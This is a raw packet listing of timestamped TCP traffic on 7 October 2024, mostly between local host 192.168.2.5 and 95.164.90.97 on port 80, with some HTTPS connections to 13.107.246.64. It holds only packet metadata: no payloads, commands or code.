Oct 7, 2024 18:00:45.309231043 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.309247017 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.321304083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.321321011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.321336031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.321378946 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.321419954 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.321655989 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.321672916 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.321686983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.321702003 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.321722984 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.321727991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.321754932 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.321769953 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.327594995 CEST	443	49867	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.327642918 CEST	443	49867	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.327697039 CEST	49867	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.327702999 CEST	443	49867	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.327749014 CEST	49867	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.327949047 CEST	49867	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.327970982 CEST	443	49867	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.327984095 CEST	49867	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.327991962 CEST	443	49867	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.329341888 CEST	443	49868	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.329806089 CEST	49868	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.329833031 CEST	443	49868	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.330243111 CEST	49868	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.330249071 CEST	443	49868	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.330497026 CEST	49872	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.330538034 CEST	443	49872	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.330612898 CEST	49872	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.330728054 CEST	49872	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.330743074 CEST	443	49872	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.334414005 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.334445000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.334460020 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.334578991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.334583044 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.334594011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.334608078 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.334611893 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.334629059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.334639072 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.334645033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.334654093 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.334681034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.334682941 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.334697962 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.334713936 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.334722996 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.334745884 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.334758997 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.334794998 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.334810019 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.334825039 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.334836960 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.334849119 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.334866047 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.334999084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.335037947 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.336673021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.336688042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.336704969 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.336746931 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.336772919 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.337080002 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.337095022 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.337110043 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.337125063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.337150097 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.337173939 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.337270021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.337285042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.337300062 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.337332964 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.337343931 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.337357044 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.337372065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.337388039 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.337404966 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.337414026 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.337441921 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.337551117 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.337563992 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.337614059 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.337693930 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.337717056 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.337733030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.337740898 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.337749004 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.337765932 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.337789059 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.337858915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338125944 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338148117 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338164091 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338171959 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.338181973 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338190079 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.338217020 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.338232994 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.338259935 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338275909 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338289976 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338304996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338315010 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.338320971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338345051 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.338356972 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.338387966 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338402033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338418007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338433981 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338442087 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.338457108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338464975 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.338491917 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.338668108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338681936 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338697910 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338706970 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.338712931 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338726997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338735104 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.338742971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338756084 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.338759899 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338777065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338783026 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.338809013 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338809013 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.338834047 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.338854074 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.338890076 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338906050 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338920116 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338936090 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338944912 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.338953018 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.338967085 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.338993073 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.339204073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.339226007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.339247942 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.339262009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.339272976 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.339278936 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.339293003 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.339293957 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.339310884 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.339320898 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.339329004 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.339344025 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.339348078 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.339366913 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.339411974 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.340092897 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.340169907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.340186119 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.340213060 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.340233088 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.340250969 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.340267897 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.340281963 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.340297937 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.340306997 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.340328932 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.340356112 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.340396881 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.340411901 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.340425968 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.340435982 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.340441942 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.340455055 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.340459108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.340466976 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.340476036 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.340485096 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.340492010 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.340502977 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.340517044 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.340532064 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.340600014 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.340626001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.340640068 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.340640068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.340657949 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.340657949 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.340682030 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.340692997 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.341077089 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.341094017 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.341120005 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.341136932 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.343982935 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.347454071 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.371714115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.371728897 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.371737003 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.371745110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.371752024 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.371767044 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.371947050 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.372122049 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.372138023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.372205019 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.372205019 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.384807110 CEST	443	49869	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.388417959 CEST	49869	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.388432980 CEST	443	49869	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.388627052 CEST	49869	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.388632059 CEST	443	49869	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.393356085 CEST	443	49870	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.393584013 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.393599987 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.393614054 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.393636942 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.393651009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.393666983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.393686056 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.393699884 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.393737078 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.393811941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.394085884 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.394113064 CEST	49870	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.394119978 CEST	443	49870	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.394552946 CEST	49870	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.394557953 CEST	443	49870	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.406785011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.406800032 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.406816006 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.406832933 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.406847954 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.406862020 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.406873941 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.406877041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.406912088 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.406927109 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.453167915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.455447912 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.456715107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.456736088 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.456749916 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.456764936 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.456789017 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.456825972 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.457931042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.457947016 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.457962036 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.457977057 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.457978010 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.457992077 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.457992077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.458005905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.458017111 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.458019972 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.458035946 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.458040953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.458058119 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.458065033 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.458075047 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.458084106 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.458091974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.458100080 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.458108902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.458118916 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.458126068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.458141088 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.458142042 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.458151102 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.458157063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.458168983 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.458173037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.458189011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.458190918 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.458204985 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.458204985 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.458221912 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.458221912 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.458240032 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.458250999 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.458256006 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.458271980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.458277941 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.458287954 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.458302021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.458303928 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.458319902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.458329916 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.458334923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.458352089 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.458354950 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.458379030 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.458400011 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.459120035 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.459136009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.459151030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.459165096 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.459167004 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.459180117 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.459187984 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.459204912 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.459213972 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.459219933 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.459237099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.459238052 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.459252119 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.459253073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.459266901 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.459270000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.459284067 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.459285975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.459295988 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.459304094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.459312916 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.459321022 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.459328890 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.459338903 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.459343910 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.459357023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.459361076 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.459373951 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.459374905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.459398031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.459404945 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.459404945 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.459424019 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.459434986 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.459440947 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.459456921 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.459466934 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.459472895 CEST	80	49831	95.164.90.97	192.168.2.5
